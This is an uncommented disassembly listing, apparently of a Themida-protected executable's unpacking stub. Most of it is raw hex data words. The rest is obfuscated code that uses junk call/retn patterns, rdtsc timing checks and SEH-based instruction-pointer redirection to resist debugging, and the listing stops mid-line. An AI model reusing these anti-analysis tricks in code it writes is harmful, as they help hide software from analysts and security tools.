7FA07A1h dd 8589E0FFh, 7FA2F91h, 515858Bh, 6A07FAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E97A94C3h dd 12h, 2D8406A4h, 8AF9A08Fh, 0E0AEBB4Ch, 53678D6h, 39FC267Ah dd 0F042444h, 3485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 860F8B77h, 1, 0B585C7F5h dd 107FDA3h, 89000000h, 0FA0D6985h, 0B5016007h, 7FA2B19h dd 41E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0BA8C62F0h, 5531505Eh, 14830Fh, 8F0F0000h dd 0Eh, 9E9h, 14984F00h, 31F11A9Bh, 2404h, 1B80000h, 87000000h dd 0FDA54D85h, 75C00B07h, 65B5FFF6h, 8F07FA06h, 0FDA3AD85h dd 6A206A07h, 4195FFFFh, 8307FA15h, 0FA1809BDh, 8740007h dd 95FF006Ah, 7FA1019h, 2C05BD83h, 740107FAh, 80680Dh dd 0FF6A0000h, 154195FFh, 7E907FAh, 2E000000h, 357E459Ah dd 6E9F344h, 29000000h, 9E90CDD9h, 56006AC5h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 5C5462A8h dd 0FE9h, 0BAD56600h, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h dd 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A56B12C3h, 2D0F671Bh, 548BFC38h, 9D892824h dd 7FA2E65h, 154D8589h, 8D8907FAh, 7FA062Dh, 3CBEh, 0FDBD8900h dd 307FA07h, 60242474h, 8BF08B66h, 0B50961D1h, 7FA329Dh dd 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0B20722C3h, 240D9531h, 0F6007FAh, 0BF0FC9B7h dd 440361F6h, 0E9602424h, 8, 545175CAh, 0D47DBAC5h, 12E95061h dd 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h, 3899E579h dd 24048908h, 0A8D8BA60h, 8B661F6Eh, 408B61D7h, 0C8C0F78h dd 0E9000000h, 7, 301120D9h, 83B1979Fh, 0FDA3B5BDh, 850F0007h dd 115h, 2E29B589h, 858907FAh, 7FA2699h, 50525090h, 8E0F52h dd 0F000000h, 810F31h, 5A000000h, 50310F58h, 0F616052h dd 8C0F31h, 5A000000h, 50585A58h, 0AE9h, 0A4D7FD00h, 0F1237AB0h dd 90B02ED8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2BC35747h, 0F21C25F4h, 0EDD2A429h, 21D58D89h, 448B07FAh dd 85312C24h, 7FA2DB5h, 158B0F50h, 0E9000000h, 10h, 5E1E9963h dd 591EDECh, 4E90DDDBh, 0AF7FCCC4h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 1664C357h, 0A1B5295Eh, 8D07FA11h, 0FD72FF85h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0E51ECEDDh, 0BFEA91F8h, 0B58926D2h, 7FA27BDh, 16D9BD01h dd 0D0FF07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0A7C35646h, 0F9470679h, 244403F5h, 11B52928h, 8B07FA1Fh dd 40F81840h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 53C35646h, 34D59D31h, 858907FAh, 7FDA3B1h, 0AE860h dd 75A50000h, 2CCB3822h, 0CF030496h, 16E1B589h, 805807FAh dd 5861A0ECh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 8FC35343h, 0C5398F9Ch, 9E90Dh, 6E3E0000h, 52A7F016h dd 8B5D7170h, 6A7870h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0ACB4BDC3h, 838ED918h, 6A1CC6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 7224AC3h, 5E94AB2h, 9000000h, 3792C7B5h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 584358F5h, 9369811h, 0FA1185B5h, 1F820F07h, 0F000000h dd 198Dh, 14E900h, 0FBF80000h, 5DC9FE13h, 0ADBCE135h, 5F0422C9h dd 22FECA22h, 7C8131B3h, 2424h, 870F1000h, 116h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7C35343h, 2C214ED7h dd 8932C424h, 0FA06ED95h, 0AE99007h, 58000000h, 0A090F23h dd 879237ADh, 66605090h, 6143F3BAh, 10E990h, 748E0000h dd 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 448BA3DFh, 6A2824h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7461DFC3h, 0CED81118h, 666090F3h, 8B0FCE8Bh, 0Eh, 8E8h dd 0C93E9900h, 2ECE2D9Dh, 50615F8Eh, 68B0Fh, 60600000h dd 61616061h, 0BE990h, 6F470000h, 40ABA8F6h, 4DED302Fh dd 0FF858DABh, 6A07FD72h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 174EC351h, 0ACBB6060h dd 667232F2h, 8061D68Bh, 896146C1h, 0FA020DBDh, 6AD0FF07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0FB6EC356h, 0E2BE23F9h, 17F1BD29h, 6A9607FAh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 411C356h, 1ABC904h, 0FA3139BDh, 24740307h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0FE5EA07Eh, 0FBB2606Eh, 61958961h, 8D07FA1Fh dd 0FA0F71BDh, 0BE907h, 0CAFD0000h, 3DDDD60Fh, 0E3C92CB4h dd 98D0995h, 0AD07FA01h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0EEC35646h, 5E90A26h, 0EC000000h, 0EA54704Fh dd 0CE98D29h, 7C8107FAh, 2424h, 870F1000h, 0E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 68A0Fh dd 8D890000h, 7FA0015h, 7E950h, 0F7130000h, 0D62C0B5Eh dd 2404896Ch, 24448BFCh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 9FC2B851h, 25527A09h dd 49BB6050h, 0E904D4EFh, 0Ch, 0BC41C3D0h, 0A859BC8Dh dd 2C997174h, 24048961h, 23198D31h, 858D07FAh, 7FD72FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h dd 0C03D11D7h, 0EA6E8A53h, 0D0FFF506h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 28C35646h, 0EC737686h, 3ECB12B0h dd 0E860F0Bh, 60000000h, 8A0Fh, 8D890000h, 7FA16F5h dd 24440361h, 399D3124h, 0AB07FA2Ch, 28A0F60h, 8B000000h dd 0FE8D0h, 0E5FB0000h, 0B5BE2C33h, 588B3BD6h, 44374F89h dd 13E8F5h, 0C68D0000h, 5BE1FAE9h, 0C889EB88h, 9335F770h dd 0A5D607C6h, 615E5818h, 0FA81h, 820F0001h, 856h, 6870Fh dd 85890000h, 7FA2829h, 275DBD8Dh, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67AAD6C3h dd 0BB62964h, 95897944h, 7FA316Dh, 52006AADh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 6BB97AE6h dd 7E41753Ah, 8589B119h, 7FA2949h, 0D0F08160h, 0F04ECBDh dd 288h, 616EB100h, 24247C81h, 10000000h, 0E8870Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 54A250C3h, 98D891Ch, 5007FA15h, 128F0Fh, 52500000h dd 310F5250h, 310F585Ah, 8D0Fh, 585A0000h, 60240489h, 20EDBD0Bh dd 8B6107FAh, 6A282444h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4803C353h, 27ED8D09h dd 505007FAh, 0DE952h, 0DB410000h, 0A7C8E699h, 32943FFAh dd 0F15FF7Bh, 2800F31h, 60000000h, 89585A61h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 24650DC3h, 72FF858Dh, 0FFF807FDh, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0FCF2A1FAh dd 8E9h, 346E2C00h, 9976BCF4h, 4403FCEBh, 6A2424h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 7349FFC3h, 9793F4A9h, 60BFE945h, 231DBD8Bh, 0B58907FAh dd 7FA10A1h, 0DE99061h, 83000000h, 147BD130h, 853425DCh dd 84A50AF1h, 12860F50h, 60000000h, 3E83B866h, 6E8h, 514CA800h dd 5B43F36Dh, 0ABFC9061h, 23F5B531h, 0BD8D07FAh, 7FA27D5h dd 0BE960h, 0B3310000h, 1589CE0Eh, 0C4176339h, 0F1B58987h dd 6107FA0Ch, 0F9B589ADh, 8107FA27h, 28247Ch, 0F100000h dd 14787h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0BE071E60h, 67B9CEFEh, 0D98B6050h dd 89610CB3h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 89F50CC3h, 0FA29B1B5h, 24448B07h dd 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 810F233Fh, 0Ch, 6870Fh, 85890000h, 7FA0BE1h dd 14819D89h, 505007FAh, 50525052h, 5A310F52h, 0E9310F58h dd 9, 0D1878980h, 0F15DED00h, 0F585AF2h, 60525031h, 0E9310F61h dd 13h, 61BD4696h, 15AD506Ah, 6D446F45h, 43A3F628h, 5AE0F735h dd 89585A58h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 352F2BC3h, 0B523603Bh, 7FA29E5h dd 1BE1BD8Bh, 8D6107FAh, 0FD72FF85h, 0EE907h, 0A99B0000h dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 6AD0FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 99B6F7C3h, 0C8E0FABh, 0E9000000h, 7, 0C1164CFh, 0F5B7C0C1h dd 28244403h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 21C35545h, 0E95150BEh, 1C26E8C3h, 0DE9h, 42515B00h dd 0E395A8B0h, 0B9534581h, 0ABF93572h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 75C35545h, 8BD1A0F7h, 996B760Eh dd 18890Fh, 13E90000h, 8A000000h, 0CCF348DBh, 0FDE3F1FCh dd 749BFE55h, 5793B41Ah, 0FF5E6C5Ch, 0FDA3B18Dh, 0B1BD8307h dd 7FDA3h, 0C0330A75h, 0B3B5B58Dh, 0E6FF07FDh, 7C81AD56h dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 7FD72FFh, 4403D0FFh dd 8B972824h, 0AD858ADFh, 8407FDA3h, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 0FA154D85h, 0FF5DE907h, 0E95EFFFFh, 14h, 0ED27A852h dd 0CAD85D2Ah, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0AFC35040h, 0E5C68160h dd 91198EDh, 0FA0E8D8Dh, 29606107h, 0FA2D4595h, 10E907h dd 12B40000h, 81B91087h, 431F5343h, 0F38B24D1h, 8B615F21h dd 0FA154D85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0BF0F60EEh, 0FE8F6h, 58E0000h dd 429BDC42h, 36BE0F22h, 0C819B733h, 159D89E0h, 5B07FA0Bh dd 6AE0D161h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8143C353h, 27D58503h, 852907FAh dd 7FA0A71h, 14E9h, 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch dd 7E7AED37h, 60F62B9Ch, 6175CF80h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A27B9719h dd 296B11DDh, 0FA1C6185h, 12E907h, 11540000h, 0BED63E1Ch dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 6AAD66h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6E0D71C3h dd 59D0160h, 3307FA26h, 0FA0A699Dh, 0E0C16107h, 50006A02h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 3ADBCCE0h, 5E9C5h, 2A7E0000h, 0FCE5F80h, 888h, 2870F00h dd 60000000h, 71850361h, 0F907FA0Fh, 15840F96h, 0E9000000h dd 10h, 2ED4E2EBh, 6A3BC7B4h, 4B5EB7F2h, 54FEA495h, 7C81F5ADh dd 2424h, 870F1000h, 15Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 7EC35141h, 0F6C85FAAh, 525090F8h, 11E9h dd 0A6CE1500h, 0E84DD8h, 16E60F5Ah, 0F1DE1F38h, 310FEE0Dh dd 28B0Fh, 61600000h, 0E950585Ah, 14h, 9804750Fh, 0D07FA7B3h dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 52006A90h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 36B301Dh, 8A086D24h, 896060FCh, 0FA0F459Dh, 12E907h dd 9EA90000h, 0FC94113Ch, 0C59F6EF9h, 0E7AA5693h, 7B7A9895h dd 0D8B70F61h, 24448B61h, 0BF0F6028h, 0C18166DFh, 90612D2Ah dd 8E0F5250h, 6, 310F5250h, 310F585Ah, 108B0Fh, 0BE90000h dd 81000000h, 67EEF362h, 7663E2A8h, 585AE376h, 0D880F50h dd 0E9000000h, 8, 5D6186ADh, 6359D99Dh, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B589C578h, 7FA349Dh, 72FF858Dh, 6A07FDh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 11E9E2C3h dd 1C000000h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh dd 9D89D0FFh, 7FA06A9h, 20199589h, 440307FAh, 66602424h dd 8B0177BAh, 0FA1BC9BDh, 44896107h dd 6A1C24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 5296D2C3h, 6425709h, 893C7E1Ah, 0FA257595h dd 6585C607h, 7FA06h, 0A54D85C7h, 7FDh, 85C70000h, 7FDA3B5h dd 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BE84B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE84B proc near ; CODE XREF: Themida_:005BE843p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BE84B endp ; --------------------------------------------------------------------------- db 5Eh dd 0D5438399h, 0F954D275h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5FC35242h, 3281A6B9h, 8942C0C6h, 0FA291195h dd 2961F507h, 0FA1CB985h, 8C207h, 28FD9589h, 858B07FAh dd 7FA0F71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0ACC35141h, 5E9D9h, 0E22A0000h, 4A19F89Dh, 9E9h dd 5CF7D100h, 4B38A20Ch, 0D26B71DFh, 0C203F904h, 16618531h dd 6A9607FAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 60AEC351h, 0E8EEE881h, 0F78179EEh dd 3562B174h, 6AAD61h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 331288C3h, 88F68F53h, 6A19589h dd 7C8107FAh, 2424h, 870F1000h, 100h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 49C35141h, 0ED19531h, 850907FAh dd 7FA08CDh, 0F525050h, 680h, 0F525000h, 0F585A31h, 28C0F31h dd 60000000h, 89585A61h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 9DA013C3h, 790434BEh dd 6880FF5h, 89000000h, 0FA0FAD9Dh, 24448B07h, 598D3128h dd 5007FA23h, 13E9h, 9259F600h, 0F62A3C69h, 33DA9F3Dh dd 0CD8C6B9Bh, 0E4BDDB25h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 417C357h dd 0FF858DFCh, 6A07FD72h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0FC2DC350h, 0EA309640h dd 0BD8907E8h, 7FA0B15h, 11E9D0FFh, 62000000h, 284ABAE0h dd 3DE9E3BDh, 8D3138A8h, 166B355Fh, 0FFFD99E9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0AA5B9B83h, 850F5F8Ah, 10h, 0BE9h, 0E92E4300h, 0D7807252h dd 0A1E670D1h, 0B959858Dh, 890F07FDh, 7, 1870Fh, 50F90000h dd 0E8605250h, 0Ah, 0F58D17A2h, 51D85A4Bh, 0BE5ACD21h dd 4A50368Dh, 60310F61h, 525077B2h, 585A310Fh, 89585A61h dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 6660E3C3h, 8104FABAh, 0A49FAED2h, 9D89610Fh dd 7FA34C9h, 35FF64h, 0F000000h, 0C87h, 68D0F00h, 89000000h dd 0FA0E658Dh, 0C1BD0107h, 8B07FA0Eh, 89F92404h, 0FA0E9185h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F53A2AF8h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0A2D2C355h, 0F09435CEh, 898AB260h, 0FA0F9DBDh, 858D6107h dd 7FDB780h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0F1C35747h, 1DF5B4Eh, 8934611Fh, 0FA202D9Dh, 1608907h dd 2D858589h, 20E907FAh, 31000002h, 0FA10BD8Dh, 79852907h dd 8B07FA0Ah, 0E8DBh, 815D0000h, 0FDB779EDh, 0FF9CBC07h dd 0BD830012h, 7FA2C05h, 8B187400h, 0FA161585h, 0C607h dd 17D1858Bh, 0C607FAh, 0BD95FF00h, 6007FA0Eh, 9FB9B5FFh dd 858D07FDh, 7FD9FBDh, 0B5858D50h, 5007FDA1h, 0DC595FFh dd 0C48307FAh, 6A610Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 60C0D3C3h, 2880Fh, 61600000h, 5830Fh dd 81660000h, 61FF2DF7h, 0AE9h, 6238A300h, 0B08CE0C4h dd 6ADD55F2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 7CD4C351h, 0AE94Eh, 271B0000h dd 124FBEE6h, 0CC5CB780h, 0A1B5B58Dh, 16007FDh, 0FA1F099Dh dd 0C38B6607h, 11BD8D61h, 6A07FA03h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1B73C352h dd 5B6F6265h, 798D2960h, 0B807FA2Ch, 65E441D4h, 3E8061h dd 47840Fh, 0E8600000h, 0Eh, 0F12EFB45h, 9387ABFDh, 2259E618h dd 0B8662834h, 665B6722h, 0A203E681h, 9E9A461h, 9B000000h dd 1876FDCAh, 0E8E54E73h, 0FFFFC4E9h, 19B589FFh, 6007FA2Eh dd 0FF0B70Fh, 380h, 0C6BF0F00h, 0FC02B61h, 0C87h, 6860F00h dd 9000000h, 0FA0F69BDh, 8E0FAA07h, 6, 30BDB501h, 7B807FAh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0BCC5C355h, 6E951h, 0F7DF0000h dd 81D6CB0Ah, 0D85C7h, 107FAh, 0BD290000h, 7FA0B4Dh, 4F668D8Dh dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 899753C3h, 0FA2BF5B5h, 0F8E1FF07h, 15658D31h dd 5C8B07FAh, 0E8550C24h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FDB963h mov eax, [ebx+0B8h] mov [ebp+7FD9FB9h], eax lea eax, [ebp+7FDB772h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- jo loc_5BEDD9 jg loc_5BEDD9 mov [ebp+7FA0055h], ecx loc_5BEDD9: ; CODE XREF: Themida_:005BEDC7j ; Themida_:005BEDCDj push 0 push ebx call sub_5BEDE4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEDE4 proc near ; CODE XREF: Themida_:005BEDDCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BEDE4 endp ; --------------------------------------------------------------------------- cli mov [ebp+7FA2F35h], edx pusha pusha mov edx, edi mov si, ax popa lea eax, [ebp+7FDBB7Eh] push 0 push ecx call sub_5BEE14 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEE14 proc near ; CODE XREF: Themida_:005BEE0Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BEE14 endp ; --------------------------------------------------------------------------- xchg eax, esp inc edx adc eax, 0F8CD3804h nop pusha mov bx, ax jmp loc_5BEE45 ; --------------------------------------------------------------------------- db 1Ch, 48h, 0FAh dd 0A382257Ah, 95E2B26Fh, 5BCD9275h db 0D4h ; --------------------------------------------------------------------------- loc_5BEE45: ; CODE XREF: Themida_:005BEE30j popa push eax jge loc_5BEE65 push eax push edx pusha popa rdtsc jmp loc_5BEE63 ; --------------------------------------------------------------------------- dd 0DEBF06A1h, 0EDB29091h db 0C7h, 1Ah, 5 ; --------------------------------------------------------------------------- loc_5BEE63: ; CODE XREF: Themida_:005BEE53j pop edx pop eax loc_5BEE65: ; CODE XREF: Themida_:005BEE47j nop jmp loc_5BEE73 ; --------------------------------------------------------------------------- db 4Ch ; --------------------------------------------------------------------------- mov dl, 0D1h add eax, 1183871Bh loc_5BEE73: ; CODE XREF: Themida_:005BEE66j push large dword ptr fs:0 push 0 push eax call sub_5BEE85 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEE85 proc near ; CODE XREF: Themida_:005BEE7Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BEE85 endp ; --------------------------------------------------------------------------- pop ebp mov ebp, edx mov cl, 64h mov large ds:0, esp or [ebp+7FA2F01h], eax mov [ebp+7FA2A39h], eax lea eax, [ebp+7FDBBDCh] push 0 push edi call sub_5BEEBD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEEBD proc near ; CODE XREF: Themida_:005BEEB5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BEEBD endp ; --------------------------------------------------------------------------- dec edi fisub word ptr [ecx-7] mov [eax+1], esp push 0 push edx call sub_5BEEDF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEEDF proc near ; CODE XREF: Themida_:005BEED7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5BEEDF endp ; --------------------------------------------------------------------------- and [esi], ah inc esp sub cl, dh pusha push ecx stc pop edx push edi jns $+6 pop ecx popa jno loc_5BEF13 jg loc_5BEF13 mov [ebp+7FA1CE5h], edi loc_5BEF13: ; CODE XREF: Themida_:005BEF01j ; Themida_:005BEF07j jb loc_5BEF1F sub [ebp+7FA2F41h], edi loc_5BEF1F: ; CODE XREF: Themida_:loc_5BEF13j mov byte ptr [ebp+7FA0665h], 4Fh jmp loc_5BEF3C ; --------------------------------------------------------------------------- db 23h dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h ; --------------------------------------------------------------------------- loc_5BEF3C: ; CODE XREF: Themida_:005BEF26j push 0DA385140h jmp loc_5BEF5A ; --------------------------------------------------------------------------- dw 12E8h dd 503ADC53h, 21215D1Dh, 0B806503Dh, 0D23AF621h db 0D3h, 0ADh ; --------------------------------------------------------------------------- loc_5BEF5A: ; CODE XREF: Themida_:005BEF41j xor dword ptr [esp], 24F0256Ah mov [ebp+7FA1749h], edi push dword ptr [ebp+7FA2095h] add [ebp+7FA1F75h], edi lea eax, [ebp+7FDA3DDh] sub [ebp+7FA2DB5h], eax call eax push 0 push eax call sub_5BEF8C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEF8C proc near ; CODE XREF: Themida_:005BEF84p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BEF8C endp ; --------------------------------------------------------------------------- cld dec ecx retn 0D0C6h ; --------------------------------------------------------------------------- clc push edx jmp loc_5BF01D ; --------------------------------------------------------------------------- pusha mov bx, ax mov [ebp+7FA2F61h], eax popa jg loc_5BEFBF mov [ebp+7FA23D1h], ebx loc_5BEFBF: ; CODE XREF: Themida_:005BEFB3j mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 7FDBB88h mov eax, [ebp+7FA08A5h] mov [ebp+7FA2095h], eax mov eax, [ebp+7FA0515h] mov [ebp+7FA2279h], eax mov eax, [ebp+7FA0AF5h] mov [ebp+7FA1F35h], eax mov byte ptr [ebp+7FA0665h], 0 mov dword ptr [ebp+7FDA54Dh], 0 lea eax, [ebp+7FDBBDCh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- clc sub [ebp+7FA0B61h], esi clc loc_5BF01D: ; CODE XREF: Themida_:005BEFA3j mov esp, 12FF74h sub [ebp+7FA1BE5h], esi pop large dword ptr fs:0 push 0 push ecx call sub_5BF03A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF03A proc near ; CODE XREF: Themida_:005BF032p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5BF03A endp ; --------------------------------------------------------------------------- dw 7B62h ; --------------------------------------------------------------------------- dec edi or [ecx-5D0567Bh], ecx pop es add esp, 4 push 0 push ebx call sub_5BF062 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF062 proc near ; CODE XREF: Themida_:005BF05Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BF062 endp ; --------------------------------------------------------------------------- dw 0CE0Eh dd 63391589h, 0A287C417h, 0FE861h, 4CE50000h, 1FE4AB1Ch dd 80185DEAh, 976CD27Dh, 589ABBF4h, 0BB5F56D3h, 73EF78E4h dd 6A2AC781h, 81660000h, 0B97D18DBh, 0 ; --------------------------------------------------------------------------- push ecx sub [ebp+7FA0D35h], edx pop ebx loc_5BF0B4: ; CODE XREF: Themida_:005BF165j push dword ptr [ecx+edi] add esi, [ebp+7FA296Dh] pop eax sbb si, 499Fh add eax, 2C8347F2h mov [ebp+7FA1E29h], esi xor eax, 4DDCBE71h jmp loc_5BF0EA ; --------------------------------------------------------------------------- dw 0FFC6h dd 0D03891B6h, 0A182437Ah, 8C8A392Ah ; --------------------------------------------------------------------------- and ch, cl loc_5BF0EA: ; CODE XREF: Themida_:005BF0D5j sub eax, 5ACA43AFh jle loc_5BF10F jmp loc_5BF10F ; --------------------------------------------------------------------------- stosd test eax, 6515CD7Ch cld pop eax mov al, ds:7163D328h db 2Eh dec edi add ah, [edi-74h] or ecx, ebx loc_5BF10F: ; CODE XREF: Themida_:005BF0F0j ; Themida_:005BF0F6j push eax push edi jno loc_5BF11D mov edx, [ebp+7FA0B3Dh] loc_5BF11D: ; CODE XREF: Themida_:005BF111j pop esi pop dword ptr [edi+ecx] mov esi, edx jmp loc_5BF12D ; --------------------------------------------------------------------------- dd 8BF7161Fh db 0C4h ; --------------------------------------------------------------------------- loc_5BF12D: ; CODE XREF: Themida_:005BF123j sub ecx, 1 mov [ebp+7FA0D21h], edx dec ecx dec ecx dec ecx mov si, 3A35h cmp ecx, 0FFFF96CCh jnz loc_5BF15F movzx edx, si jmp loc_5BF17C ; --------------------------------------------------------------------------- db 0C4h, 0F1h, 3Bh dd 